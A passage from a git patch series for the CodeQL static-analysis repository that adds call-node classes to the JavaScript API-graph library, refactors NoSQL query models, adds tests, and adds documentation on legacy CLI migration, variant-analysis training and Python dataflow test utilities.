right-hand side of a definition of the API @@ -114,11 +114,17 @@ module API { * For example, if this node represents a use of some class `A`, then there might be a node * representing instances of `A`, typically corresponding to expressions `new A()` at the * source level. + * + * This predicate may have multiple results when there are multiple constructor calls invoking this API component. + * Consider using `getAnInstantiation()` if there is a need to distingiush between individual constructor calls. */ Node getInstance() { result = getASuccessor(Label::instance()) } /** * Gets a node representing the `i`th parameter of the function represented by this node. + * + * This predicate may have multiple results when there are multiple invocations of this API component. + * Consider using `getAnInvocation()` if there is a need to distingiush between individual calls. */ bindingset[i] Node getParameter(int i) { result = getASuccessor(Label::parameter(i)) } @@ -133,6 +139,9 @@ module API { /** * Gets a node representing the last parameter of the function represented by this node. + * + * This predicate may have multiple results when there are multiple invocations of this API component. + * Consider using `getAnInvocation()` if there is a need to distingiush between individual calls. */ Node getLastParameter() { result = getParameter(getNumParameter() - 1) } @@ -144,6 +153,10 @@ module API { /** * Gets a node representing a parameter or the receiver of the function represented by this * node. + * + * This predicate may result in a mix of parameters from different call sites in cases where + * there are multiple invocations of this API component. + * Consider using `getAnInvocation()` if there is a need to distingiush between individual calls. */ Node getAParameter() { result = getASuccessor(Label::parameterByStringIndex(_)) or @@ -152,6 +165,9 @@ module API { /** * Gets a node representing the result of the function represented by this node. + * + * This predicate may have multiple results when there are multiple invocations of this API component. + * Consider using `getACall()` if there is a need to distingiush between individual calls. */ Node getReturn() { result = getASuccessor(Label::return()) } @@ -787,6 +803,46 @@ module API { } import Label as EdgeLabel + + /** + * An `InvokeNode` that is connected to the API graph. + * + * Can be used to reason about calls to an external API in which the correlation between + * parameters and/or return values must be retained. + * + * The member predicates `getParameter`, `getReturn`, and `getInstance` mimic the corresponding + * predicates from `API::Node`. These are guaranteed to exist and be unique to this call. + */ + class InvokeNode extends DataFlow::InvokeNode { + API::Node callee; + + InvokeNode() { this = callee.getReturn().getAnImmediateUse() or this = callee.getInstance().getAnImmediateUse() } + + /** Gets the API node for the `i`th parameter of this invocation. */ + Node getParameter(int i) { + result = callee.getParameter(i) and + result.getARhs() = getArgument(i) + } + + /** Gets the API node a parameter of this invocation. */ + Node getAParameter() { + result = getParameter(_) + } + + /** Gets the API node for the return value of this call. */ + Node getReturn() { result.getAnImmediateUse() = this } + + /** Gets the API node for the object constructed by this invocation. */ + Node getInstance() { result.getAnImmediateUse() = this } + } + + /** A call connected to the API graph. */ + class CallNode extends InvokeNode, DataFlow::CallNode { + } + + /** A `new` call connected to the API graph. */ + class NewNode extends InvokeNode, DataFlow::NewNode { + } } private module Label { From ac00e028555a3cbda95c828c079e829485d92d66 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 11 Nov 2020 15:49:26 +0000 Subject: [PATCH 0048/1241] JS: Add API::Node.getAValueReachingRhs --- javascript/ql/src/semmle/javascript/ApiGraphs.qll | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 5b54509dae4..58b08c5bf91 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -82,6 +82,12 @@ module API { */ DataFlow::Node getARhs() { Impl::rhs(this, result) } + /** + * Gets a data-flow node that may interprocedurally flow to the right-hand side of a definition + * of the API component represented by this node. + */ + DataFlow::Node getAValueReachingRhs() { result = Impl::trackDefNode(getARhs()) } + /** * Gets a node representing member `m` of this API component. * @@ -825,9 +831,10 @@ module API { } /** Gets the API node a parameter of this invocation. */ - Node getAParameter() { - result = getParameter(_) - } + Node getAParameter() { result = getParameter(_) } + + /** Gets the API node for the last parameter of this invocation. */ + Node getLastParameter() { result = getParameter(getNumArgument() - 1) } /** Gets the API node for the return value of this call. */ Node getReturn() { result.getAnImmediateUse() = this } From b6b8a55b371006033d6151ee4b30951ddfec2a3a Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 16:16:50 +0000 Subject: [PATCH 0049/1241] JS: Add test case --- .../ql/test/ApiGraphs/call-nodes/index.js | 4 +++ .../test/ApiGraphs/call-nodes/test.expected | 3 +++ .../ql/test/ApiGraphs/call-nodes/test.ql | 25 +++++++++++++++++++ 3 files changed, 32 insertions(+) create mode 100644 javascript/ql/test/ApiGraphs/call-nodes/index.js create mode 100644 javascript/ql/test/ApiGraphs/call-nodes/test.expected create mode 100644 javascript/ql/test/ApiGraphs/call-nodes/test.ql diff --git a/javascript/ql/test/ApiGraphs/call-nodes/index.js b/javascript/ql/test/ApiGraphs/call-nodes/index.js new file mode 100644 index 00000000000..999af64c90b --- /dev/null +++ b/javascript/ql/test/ApiGraphs/call-nodes/index.js @@ -0,0 +1,4 @@ +import { foo } from 'mylibrary'; + +foo({ value: 1 }, { value: 1 }); +foo({ value: 2 }, { value: 2 }); diff --git a/javascript/ql/test/ApiGraphs/call-nodes/test.expected b/javascript/ql/test/ApiGraphs/call-nodes/test.expected new file mode 100644 index 00000000000..9b8eb28bbef --- /dev/null +++ b/javascript/ql/test/ApiGraphs/call-nodes/test.expected @@ -0,0 +1,3 @@ +ERROR: Could not resolve predicate getArgument/1 (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:716,60-71) +ERROR: Could not resolve predicate getParameter/1 (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:719,40-52) +ERROR: Could not resolve type API::MethodCallNode (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:705,51-70) diff --git a/javascript/ql/test/ApiGraphs/call-nodes/test.ql b/javascript/ql/test/ApiGraphs/call-nodes/test.ql new file mode 100644 index 00000000000..97cfc6aeeba --- /dev/null +++ b/javascript/ql/test/ApiGraphs/call-nodes/test.ql @@ -0,0 +1,25 @@ +import javascript + +class FooCall extends API::CallNode { + FooCall() { + this = API::moduleImport("mylibrary").getMember("foo").getACall() + } + + DataFlow::Node getFirst() { + result = getParameter(0).getMember("value").getARhs() + } + + DataFlow::Node getSecond() { + result = getParameter(1).getMember("value").getARhs() + } +} + +query predicate values(FooCall call, int first, int second) { + first = call.getFirst().getIntValue() and + second = call.getSecond().getIntValue() +} + +query predicate mismatch(FooCall call, string msg) { + call.getFirst().getIntValue() != call.getSecond().getIntValue() and + msg = "mismatching parameter indices found for call" +} From c146e044ca9a15fa391a95a13da888a4fd7713f2 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 16:17:00 +0000 Subject: [PATCH 0050/1241] JS: Update NoSQL model --- .../semmle/javascript/frameworks/NoSQL.qll | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll index 31671cbc423..a202b557268 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll @@ -62,22 +62,20 @@ private module MongoDB { } /** A call to a MongoDB query method. */ - private class QueryCall extends DatabaseAccess, DataFlow::CallNode { + private class QueryCall extends DatabaseAccess, API::CallNode { int queryArgIdx; - API::Node callee; QueryCall() { exists(string method | CollectionMethodSignatures::interpretsArgumentAsQuery(method, queryArgIdx) and - callee = getACollection().getMember(method) - ) and - this = callee.getACall() + this = getACollection().getMember(method).getACall() + ) } override DataFlow::Node getAQueryArgument() { result = getArgument(queryArgIdx) } DataFlow::Node getACodeOperator() { - result = getADollarWhereProperty(callee.getParameter(queryArgIdx)) + result = getADollarWhereProperty(getParameter(queryArgIdx)) } } @@ -670,14 +668,12 @@ private module Minimongo { } /** A call to a Minimongo query method. */ - private class QueryCall extends DatabaseAccess, DataFlow::MethodCallNode { + private class QueryCall extends DatabaseAccess, API::CallNode { int queryArgIdx; - API::Node callee; QueryCall() { exists(string m | - callee = API::moduleImport("minimongo").getAMember().getReturn().getAMember().getMember(m) and - this = callee.getACall() and + this = API::moduleImport("minimongo").getAMember().getReturn().getAMember().getMember(m).getACall() and CollectionMethodSignatures::interpretsArgumentAsQuery(m, queryArgIdx) ) } @@ -685,7 +681,7 @@ private module Minimongo { override DataFlow::Node getAQueryArgument() { result = getArgument(queryArgIdx) } DataFlow::Node getACodeOperator() { - result = getADollarWhereProperty(callee.getParameter(queryArgIdx)) + result = getADollarWhereProperty(getParameter(queryArgIdx)) } } @@ -706,14 +702,12 @@ private module Minimongo { */ private module MarsDB { /** A call to a MarsDB query method. */ - private class QueryCall extends DatabaseAccess, DataFlow::MethodCallNode { + private class QueryCall extends DatabaseAccess, API::MethodCallNode { int queryArgIdx; - API::Node callee; QueryCall() { exists(string m | - callee = API::moduleImport("marsdb").getMember("Collection").getInstance().getMember(m) and - this = callee.getACall() and + this = API::moduleImport("marsdb").getMember("Collection").getInstance().getMember(m).getACall() and // implements parts of the Minimongo interface Minimongo::CollectionMethodSignatures::interpretsArgumentAsQuery(m, queryArgIdx) ) @@ -722,7 +716,7 @@ private module MarsDB { override DataFlow::Node getAQueryArgument() { result = getArgument(queryArgIdx) } DataFlow::Node getACodeOperator() { - result = getADollarWhereProperty(callee.getParameter(queryArgIdx)) + result = getADollarWhereProperty(getParameter(queryArgIdx)) } } From 85f0a627c40a14e359e506317d3e4044510e054f Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 16:17:22 +0000 Subject: [PATCH 0051/1241] JS: Autoformat --- javascript/ql/src/semmle/javascript/ApiGraphs.qll | 11 ++++++----- .../ql/src/semmle/javascript/frameworks/NoSQL.qll | 11 +++++++++-- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 58b08c5bf91..0e919b62e64 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -822,7 +822,10 @@ module API { class InvokeNode extends DataFlow::InvokeNode { API::Node callee; - InvokeNode() { this = callee.getReturn().getAnImmediateUse() or this = callee.getInstance().getAnImmediateUse() } + InvokeNode() { + this = callee.getReturn().getAnImmediateUse() or + this = callee.getInstance().getAnImmediateUse() + } /** Gets the API node for the `i`th parameter of this invocation. */ Node getParameter(int i) { @@ -844,12 +847,10 @@ module API { } /** A call connected to the API graph. */ - class CallNode extends InvokeNode, DataFlow::CallNode { - } + class CallNode extends InvokeNode, DataFlow::CallNode { } /** A `new` call connected to the API graph. */ - class NewNode extends InvokeNode, DataFlow::NewNode { - } + class NewNode extends InvokeNode, DataFlow::NewNode { } } private module Label { diff --git a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll index a202b557268..a78b937018e 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll @@ -673,7 +673,13 @@ private module Minimongo { QueryCall() { exists(string m | - this = API::moduleImport("minimongo").getAMember().getReturn().getAMember().getMember(m).getACall() and + this = + API::moduleImport("minimongo") + .getAMember() + .getReturn() + .getAMember() + .getMember(m) + .getACall() and CollectionMethodSignatures::interpretsArgumentAsQuery(m, queryArgIdx) ) } @@ -707,7 +713,8 @@ private module MarsDB { QueryCall() { exists(string m | - this = API::moduleImport("marsdb").getMember("Collection").getInstance().getMember(m).getACall() and + this = + API::moduleImport("marsdb").getMember("Collection").getInstance().getMember(m).getACall() and // implements parts of the Minimongo interface Minimongo::CollectionMethodSignatures::interpretsArgumentAsQuery(m, queryArgIdx) ) From 970232623239301b10cf8596ce51b6dfd0abdea2 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 23 Nov 2020 16:18:45 +0000 Subject: [PATCH 0052/1241] add leftover docs to support project --- docs/codeql/support/index.rst | 8 ++- docs/codeql/support/notes-ql-users.rst | 91 ++++++++++++++++++++++++++ docs/codeql/support/ql-training.rst | 63 ++++++++++++++++++ 3 files changed, 161 insertions(+), 1 deletion(-) create mode 100644 docs/codeql/support/notes-ql-users.rst create mode 100644 docs/codeql/support/ql-training.rst diff --git a/docs/codeql/support/index.rst b/docs/codeql/support/index.rst index 6236b4c1543..3eac7708109 100644 --- a/docs/codeql/support/index.rst +++ b/docs/codeql/support/index.rst @@ -11,4 +11,10 @@ For details see: language-support.rst framework-support.rst -For details of the CodeQL libraries, see `CodeQL standard libraries `_. \ No newline at end of file +For details of the CodeQL libraries, see `CodeQL standard libraries `_. + +.. toctree:: + :hidden: + + notes-ql-users + ql-training \ No newline at end of file diff --git a/docs/codeql/support/notes-ql-users.rst b/docs/codeql/support/notes-ql-users.rst new file mode 100644 index 00000000000..7e5f032279e --- /dev/null +++ b/docs/codeql/support/notes-ql-users.rst @@ -0,0 +1,91 @@ +Notes for legacy QL CLI users +============================= + +If you've previously used the QL command-line tools (``odasa``), you'll notice a +few key differences when you use the new CodeQL products: + +* "QL snapshots" are now called `CodeQL databases `__. +* The process of creating a CodeQL database is much simpler and more streamlined. + There's no need to create ``projects`` or ``snapshots``---just check out the + code and build it using the CodeQL CLI ``codeql database create`` command. +* Queries are run against CodeQL databases using the CodeQL CLI ``codeql + database analyze`` command. + +For more information, see `Creating CodeQL databases +`__ and +`Analyzing databases with the CodeQL CLI `__. +For detailed guidance about equivalent commands, see `Overview of common commands +<#overview-of-common-commands>`__ below. + +.. _database-compatibiilty-notes: + +Database compatibility notes +---------------------------- + +A CodeQL database created by the CodeQL CLI serves the same purpose as a QL +snapshot created using ``odasa``. They both contain a code database to query and +usually a source reference for results display. However, they are not identical +formats and, if you use the legacy QL tools alongside the CodeQL tools, you need +to be aware of the following: + +* Existing QL snapshots, exported using the legacy CLI, can be used with the new + CodeQL tools. Unzip the snapshot and treat the directory as a database. If it + was built with an earlier version of the legacy CLI, you may need to upgrade + the database using ``codeql database upgrade``. For more information, see the + `database upgrade reference documentation + `__. + +* CodeQL databases are not directly compatible with CodeQL for Eclipse. + However, you can "bundle" a CodeQL database into the equivalent of a QL + exported snapshot by running:: + + codeql database bundle --include-uncompressed-source -o + + The resulting database can be imported into CodeQL for Eclipse. For more + information, see the `database bundle reference documentation `__. + +* .. include:: ../reusables/index-files-note.rst + +* CodeQL databases cannot be directly uploaded to an LGTM Enterprise instance. + For more information, see `Preparing CodeQL databases to upload to LGTM + `__ + in the LGTM admin help. + +Query suites +------------ + +CodeQL includes a new, more flexible, format for query suites. Legacy query +suite definitions are not compatible with the new CodeQL tools. For more +information about CodeQL query suites, see `Creating CodeQL query suites +`__. + +Overview of common commands +--------------------------- + +If you're switching from the legacy ODASA CLI to the new CodeQL CLI, +the table below shows which commands replace the most +common ODASA processes. + ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``odasa`` command | Corresponding ``codeql`` command | Notes | ++==========================================+===================================================================================================+=========================================================================================================================================================================================================================================================================================================================================================================================================================================================================+ +| ``bootstrap`` | n/a | CodeQL analysis does not use ``project`` files during database creation. For more information about creating databases, see `Creating CodeQL databases `__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``addSnapshot``, ``addLatestSnapshot`` | n/a | To obtain the version of the code you want to analyze, just run your normal check-out commands. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``buildSnapshot`` | `database create `__ | When creating a CodeQL database, you specfiy build commands in the command line, rather than in a project file. For more information, see `Creating CodeQL databases `__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``analyzeSnapshot`` | `database analyze `__ | For more information, see `Analyzing databases with the CodeQL CLI `__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``archiveSnapshot`` | `database cleanup `__ | Use ``database cleanup`` to reduce the size of a CodeQL database by deleting temporary data. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``export`` | `database bundle `__ | You don't need to export databases before adding them to VS Code. However, you should "bundle" CodeQL databases before using them with LGTM Enterprise, CodeQL for Eclipse, or CodeQL for Visual Studio. For more information, see `Preparing CodeQL databases to upload to LGTM `__ in the LGTM admin help and the `Database compatibility notes <#database-compatibility-notes>`__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``prepareQueries`` | `query compile `__ | Queries are compiled when you run ``database analyze`` and other query-running commands. You can speed up compilation by running ``query compile`` separately using more threads. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``qltest`` | `test run `__ | For more information about running regression tests, see `Testing custom queries `__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``runQuery`` | `query run `__ | Use ``query run`` to quickly view results in your terminal. To generate interpreted results that can be viewed in source code, use ``database analyze``. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``upgrade`` | `database upgrade `__ | For more information, see `Upgrading CodeQL databases `__. | ++------------------------------------------+---------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ \ No newline at end of file diff --git a/docs/codeql/support/ql-training.rst b/docs/codeql/support/ql-training.rst new file mode 100644 index 00000000000..bb4dc9a3f2e --- /dev/null +++ b/docs/codeql/support/ql-training.rst @@ -0,0 +1,63 @@ +CodeQL training and variant analysis examples +============================================= + +CodeQL and variant analysis +--------------------------- + +Variant analysis is the process of using a known vulnerability as a seed to find similar problems in your code. Security engineers typically perform variant analysis to identify possible vulnerabilities and to ensure that these threats are properly fixed across multiple code bases. + +CodeQL is the code analysis engine that underpins LGTM, the community driven security analysis platform. Together, CodeQL and LGTM provide continuous monitoring and scalable variant analysis for your projects, even if you don’t have your own team of dedicated security engineers. You can read more about using CodeQL and LGTM in variant analysis on the `Security Lab research page `__. + +CodeQL is easy to learn, and exploring code using CodeQL is the most efficient way to perform variant analysis. + +Learning CodeQL for variant analysis +------------------------------------ + +Start learning how to use CodeQL in variant analysis for a specific language by looking at the topics below. Each topic links to a short presentation on CodeQL, its libraries, or an example variant discovered using CodeQL. + +.. |arrow-l| unicode:: U+2190 + +.. |arrow-r| unicode:: U+2192 + +.. |info| unicode:: U+24D8 + +When you have selected a presentation, use |arrow-r| and |arrow-l| to navigate between slides. +Press **p** to view the additional notes on slides that have an information icon |info| in the top right corner, and press **f** to enter full-screen mode. + +The presentations contain a number of query examples. +We recommend that you download `CodeQL for Visual Studio Code `__ and add the example database for each presentation so that you can find the bugs mentioned in the slides. + + +.. pull-quote:: + + Information + + The presentations listed below are used in CodeQL and variant analysis training sessions run by GitHub engineers. + Therefore, be aware that the slides are designed to be presented by an instructor. + If you are using the slides without an instructor, please use the additional notes to help guide you through the examples. + +CodeQL and variant analysis for C/C++ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- `Introduction to variant analysis: CodeQL for C/C++ `__–an introduction to variant analysis and CodeQL for C/C++ programmers. +- `Example: Bad overflow guard `__–an example of iterative query development to find bad overflow guards in a C++ project. +- `Program representation: CodeQL for C/C++ `__–information on how CodeQL analysis represents C/C++ programs. +- `Introduction to local data flow `__–an introduction to analyzing local data flow in C/C++ using CodeQL, including an example demonstrating how to develop a query to find a real CVE. +- `Exercise: snprintf overflow `__–an example demonstrating how to develop a data flow query. +- `Introduction to global data flow `__–an introduction to analyzing global data flow in C/C++ using CodeQL. +- `Analyzing control flow: CodeQL for C/C++ `__–an introduction to analyzing control flow in C/C++ using CodeQL. + +CodeQL and variant analysis for Java +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- `Introduction to variant analysis: CodeQL for Java `__–an introduction to variant analysis and CodeQL for Java programmers. +- `Example: Query injection `__–an example of iterative query development to find unsanitized SPARQL injections in a Java project. +- `Program representation: CodeQL for Java `__–information on how CodeQL analysis represents Java programs. +- `Introduction to local data flow `__–an introduction to analyzing local data flow in Java using CodeQL, including an example demonstrating how to develop a query to find a real CVE. +- `Exercise: Apache Struts `__–an example demonstrating how to develop a data flow query. +- `Introduction to global data flow `__–an introduction to analyzing global data flow in Java using CodeQL. + +Further reading +~~~~~~~~~~~~~~~ + +- `GitHub Security Lab `__ \ No newline at end of file From d3412bb0ecb52900a3c7249250b5b4a72adea702 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 21:18:53 +0000 Subject: [PATCH 0053/1241] JS: Fix typo in NoSQL model --- javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll | 2 +- javascript/ql/test/ApiGraphs/call-nodes/test.expected | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll index a78b937018e..88b1879bdb2 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll @@ -708,7 +708,7 @@ private module Minimongo { */ private module MarsDB { /** A call to a MarsDB query method. */ - private class QueryCall extends DatabaseAccess, API::MethodCallNode { + private class QueryCall extends DatabaseAccess, API::CallNode { int queryArgIdx; QueryCall() { diff --git a/javascript/ql/test/ApiGraphs/call-nodes/test.expected b/javascript/ql/test/ApiGraphs/call-nodes/test.expected index 9b8eb28bbef..5d70524cdd0 100644 --- a/javascript/ql/test/ApiGraphs/call-nodes/test.expected +++ b/javascript/ql/test/ApiGraphs/call-nodes/test.expected @@ -1,3 +1,4 @@ -ERROR: Could not resolve predicate getArgument/1 (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:716,60-71) -ERROR: Could not resolve predicate getParameter/1 (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:719,40-52) -ERROR: Could not resolve type API::MethodCallNode (/Users/asger/git/code/ql/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll:705,51-70) +values +| index.js:3:1:3:31 | foo({ v ... e: 1 }) | 1 | 1 | +| index.js:4:1:4:31 | foo({ v ... e: 2 }) | 2 | 2 | +mismatch From ac6d4aac9d5377f382c7b4e438aa72115e487dcc Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 23 Nov 2020 21:20:38 +0000 Subject: [PATCH 0054/1241] Apply suggestions from code review Co-authored-by: Max Schaefer <54907921+max-schaefer@users.noreply.github.com> --- javascript/ql/src/semmle/javascript/ApiGraphs.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 0e919b62e64..6c9faff38e8 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -122,7 +122,7 @@ module API { * source level. * * This predicate may have multiple results when there are multiple constructor calls invoking this API component. - * Consider using `getAnInstantiation()` if there is a need to distingiush between individual constructor calls. + * Consider using `getAnInstantiation()` if there is a need to distinguish between individual constructor calls. */ Node getInstance() { result = getASuccessor(Label::instance()) } @@ -833,7 +833,7 @@ module API { result.getARhs() = getArgument(i) } - /** Gets the API node a parameter of this invocation. */ + /** Gets the API node for a parameter of this invocation. */ Node getAParameter() { result = getParameter(_) } /** Gets the API node for the last parameter of this invocation. */ From a19304a4a068ac9ac5b6bcea16295ff3df34e61c Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 24 Nov 2020 02:17:38 +0100 Subject: [PATCH 0055/1241] Python: Factor out prettyPrinter and update tests --- .../{FlowTestUtil => TestUtil}/FlowTest.qll | 4 +- .../LocalFlowStepTest.qll | 0 .../MaximalFlowTest.qll | 8 + .../dataflow/TestUtil/PrintNode.qll | 31 ++++ .../dataflow/basic/localFlowStepTest.ql | 2 +- .../dataflow/basic/maximalFlowTest.ql | 2 +- .../test/experimental/dataflow/basic/test.py | 12 +- .../dataflow/coverage/argumentPassing.py | 50 +++---- .../dataflow/coverage/argumentRoutingTest.ql | 2 +- .../experimental/dataflow/coverage/classes.py | 66 ++++----- .../dataflow/coverage/dataflowTest.ql | 2 +- .../dataflow/coverage/datamodel.py | 16 +- .../coverage/maximalFlowTest.expected | 0 .../dataflow/coverage/maximalFlowTest.ql | 1 - .../experimental/dataflow/coverage/test.py | 140 +++++++++--------- .../dataflow/tainttracking/TestTaintLib.qll | 28 +--- 16 files changed, 190 insertions(+), 174 deletions(-) rename python/ql/test/experimental/dataflow/{FlowTestUtil => TestUtil}/FlowTest.qll (82%) rename python/ql/test/experimental/dataflow/{FlowTestUtil => TestUtil}/LocalFlowStepTest.qll (100%) rename python/ql/test/experimental/dataflow/{FlowTestUtil => TestUtil}/MaximalFlowTest.qll (70%) create mode 100644 python/ql/test/experimental/dataflow/TestUtil/PrintNode.qll delete mode 100644 python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected delete mode 100644 python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll b/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll similarity index 82% rename from python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll rename to python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll index 9f0762f6488..edb24373386 100644 --- a/python/ql/test/experimental/dataflow/FlowTestUtil/FlowTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll @@ -1,6 +1,7 @@ import python import semmle.python.dataflow.new.DataFlow import TestUtilities.InlineExpectationsTest +import experimental.dataflow.TestUtil.PrintNode abstract class FlowTest extends InlineExpectationsTest { bindingset[this] @@ -17,7 +18,8 @@ abstract class FlowTest extends InlineExpectationsTest { location = toNode.getLocation() and tag = this.flowTag() and value = - "\"" + fromNode.toString() + lineStr(fromNode, toNode) + " -> " + toNode.toString() + "\"" and + "\"" + prettyNode(fromNode).replaceAll("\"", "'") + lineStr(fromNode, toNode) + " -> " + + prettyNode(toNode).replaceAll("\"", "'") + "\"" and element = toNode.toString() ) } diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll b/python/ql/test/experimental/dataflow/TestUtil/LocalFlowStepTest.qll similarity index 100% rename from python/ql/test/experimental/dataflow/FlowTestUtil/LocalFlowStepTest.qll rename to python/ql/test/experimental/dataflow/TestUtil/LocalFlowStepTest.qll diff --git a/python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll b/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll similarity index 70% rename from python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll rename to python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll index 792aa2b848d..eb84d197c69 100644 --- a/python/ql/test/experimental/dataflow/FlowTestUtil/MaximalFlowTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll @@ -1,5 +1,6 @@ import python import semmle.python.dataflow.new.DataFlow +private import semmle.python.dataflow.new.internal.DataFlowPrivate import FlowTest class MaximalFlowTest extends FlowTest { @@ -21,14 +22,21 @@ class MaximalFlowsConfig extends DataFlow::Configuration { MaximalFlowsConfig() { this = "MaximalFlowsConfig" } override predicate isSource(DataFlow::Node node) { + exists(node.getLocation().getFile().getRelativePath()) and not node.asCfgNode() instanceof CallNode and not node.asCfgNode().getNode() instanceof Return and not node instanceof DataFlow::ParameterNode and + not node instanceof DataFlow::PostUpdateNode and + // not node.asExpr() instanceof FunctionExpr and + // not node.asExpr() instanceof ClassExpr and not exists(DataFlow::Node pred | DataFlow::localFlowStep(pred, node)) } override predicate isSink(DataFlow::Node node) { + exists(node.getLocation().getFile().getRelativePath()) and not any(CallNode c).getArg(_) = node.asCfgNode() and + not node instanceof ArgumentNode and + not node.asCfgNode().(NameNode).getId().matches("SINK%") and not exists(DataFlow::Node succ | DataFlow::localFlowStep(node, succ)) } } diff --git a/python/ql/test/experimental/dataflow/TestUtil/PrintNode.qll b/python/ql/test/experimental/dataflow/TestUtil/PrintNode.qll new file mode 100644 index 00000000000..84f97d3f6ff 